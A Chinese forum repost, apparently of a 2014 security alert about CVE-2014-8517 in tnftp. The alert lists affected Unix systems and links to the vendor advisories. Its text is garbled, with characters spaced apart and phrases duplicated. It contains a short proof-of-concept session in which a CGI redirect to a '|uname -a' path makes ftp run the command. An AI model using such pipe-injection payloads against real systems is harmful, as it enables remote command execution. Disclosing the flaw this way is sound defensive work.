搜索

[8390] 2014-10-30_漏洞预警：FTP曝严重远程执行漏洞，影响多个版本Unix（附检测脚本）

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2014-10-30_漏洞预警：FTP曝严重远程执行漏洞，影响多个版本Unix（附检测脚本） 漏 洞 预 警 ： F T P 曝 严 重 远 程 执 行 漏 洞 ， 影 响 多 个 版 本 U n i x （ 附 检 测 脚 本 ） 嘎 巴 嘎 巴   F r e e B u f   2 0 1 4 - 1 0 - 3 0 1 0 月 月 2 8 日 ， 一 份 公 开 的 邮 件 中 曝 出 日 ， 一 份 公 开 的 邮 件 中 曝 出 F T P 远 程 执 行 命 令 漏 洞 ， 漏 洞 影 响 到 的 远 程 执 行 命 令 漏 洞 ， 漏 洞 影 响 到 的 U n i x 系 统 包 括 ： 系 统 包 括 ： F e d o r a ,   D e b i a n ,   N e t B S D , F r e e B S D ,   O p e n B S D ,   甚 至 影 响 到 了 苹 果 的 甚 至 影 响 到 了 苹 果 的 O S   X 操 作 系 统 的 最 新 版 本 操 作 系 统 的 最 新 版 本 Y o s e m i t e   1 0 . 1 0 。 。 N e t B S D 的 一 位 开 发 人 员 的 一 位 开 发 人 员 ( J a r e d   M c N e i l l ) 证 实 了 这 个 漏 洞 可 以 通 过 证 实 了 这 个 漏 洞 可 以 通 过 t n f t p 从 从 W E B 服 务 器 远 程 执 行 恶 意 命 令 ， 并 且 此 漏 洞 服 务 器 远 程 执 行 恶 意 命 令 ， 并 且 此 漏 洞 已 被 编 号 为 已 被 编 号 为 C V E - 2 0 1 4 - 8 5 1 7   ： ： a 2 0 $   p w d / v a r / w w w / c g i - b i n a 2 0 $   l s   - l t o t a l   4 - r w x r - x r - x     1   r o o t     w h e e l     1 5 9   O c t   1 4   0 2 : 0 2   r e d i r e c t - r w x r - x r - x     1   r o o t     w h e e l     1 7 8   O c t   1 4   0 1 : 5 4   | u n a m e   - a a 2 0 $   c a t   r e d i r e c t # ! / b i n / s h e c h o   ' S t a t u s :   3 0 2   F o u n d ' e c h o   ' C o n t e n t - T y p e :   t e x t / h t m l ' e c h o   ' C o n n e c t i o n :   k e e p - a l i v e ' e c h o   ' L o c a t i o n :   h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 9 / c g i - b i n / | u n a m e % 2 0 - a ' e c h o a 2 0 $ a 2 0 $   f t p   h t t p : / / l o c a l h o s t / c g i - b i n / r e d i r e c t T r y i n g   : : 1 : 8 0   . . . f t p :   C a n ' t   c o n n e c t   t o   ` : : 1 : 8 0 ' :   C o n n e c t i o n   r e f u s e d T r y i n g   1 2 7 . 0 . 0 . 1 : 8 0   . . . R e q u e s t i n g   h t t p : / / l o c a l h o s t / c g i - b i n / r e d i r e c t R e d i r e c t e d   t o   h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 9 / c g i - b i n / | u n a m e % 2 0 - a R e q u e s t i n g   h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 9 / c g i - b i n / | u n a m e % 2 0 - a 3 2             1 0 1 . 4 6   K i B / s 3 2   b y t e s   r e t r i e v e d   i n   0 0 : 0 0   ( 7 8 . 5 1   K i B / s ) N e t B S D   a 2 0   7 . 9 9 . 1   N e t B S D   7 . 9 9 . 1   ( C U B I E B O A R D )   # 1 1 3 :   S u n   O c t   2 6   1 2 : 0 5 : 3 6 A D T   2 0 1 4 J a r e d   ( )   J a r e d - P C : / c y g d r i v e / d / n e t b s d / s r c / s y s / a r c h / e v b a r m / c o m p i l e / o b j / C U B I E B O A R D   e v b a r m a 2 0 $ 漏 洞 影 响 范 围 及 公 告 漏 洞 影 响 范 围 及 公 告 D e b i a n ,   R e d   H a t ,   G e n t o o ,   N o v e l l   ( S u S E   L i n u x ) ,   D r a g o n F l y ,   F r e e B S D ,   O p e n B S D ,   a n d   A p p l e 等 系 统 开 发 商 已 经 意 识 到 了 此 漏 洞 的 危 害 ， 其 中 D e b i a n ,   R e d   H a t ,   G n e t o o   a n d   N o v e l l 已 经 发 出 了 漏 洞 公 告 ：
漏 洞 检 测 脚 本 漏 洞 检 测 脚 本 （ 请 勿 用 于 非 法 用 途 ） 脚 本 请 点 击 下 方 阅 读 原 文 查 看 。 解 决 方 案 和 更 详 细 的 内 容 参 见 ： 解 决 方 案 和 更 详 细 的 内 容 参 见 ： h t t p : / / s e c l i s t s . o r g / o s s - s e c / 2 0 1 4 / q 4 / 4 5 9   h t t p : / / s e c l i s t s . o r g / o s s - s e c / 2 0 1 4 / q 4 / 4 6 4 h t t p : / / s e c l i s t s . o r g / o s s - s e c / 2 0 1 4 / q 4 / 4 6 0 [ 参 考 信 息 来 源 参 考 信 息 来 源 n i x - s y s t e m s - a f f e c t e d - f t p - r e m o t e - c o m m a n d - e x e c u t i o n - v u l n e r a b i l i t y ， 转 载 请 注 明 ， 转 载 请 注 明 F r e e B u f . c o m ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理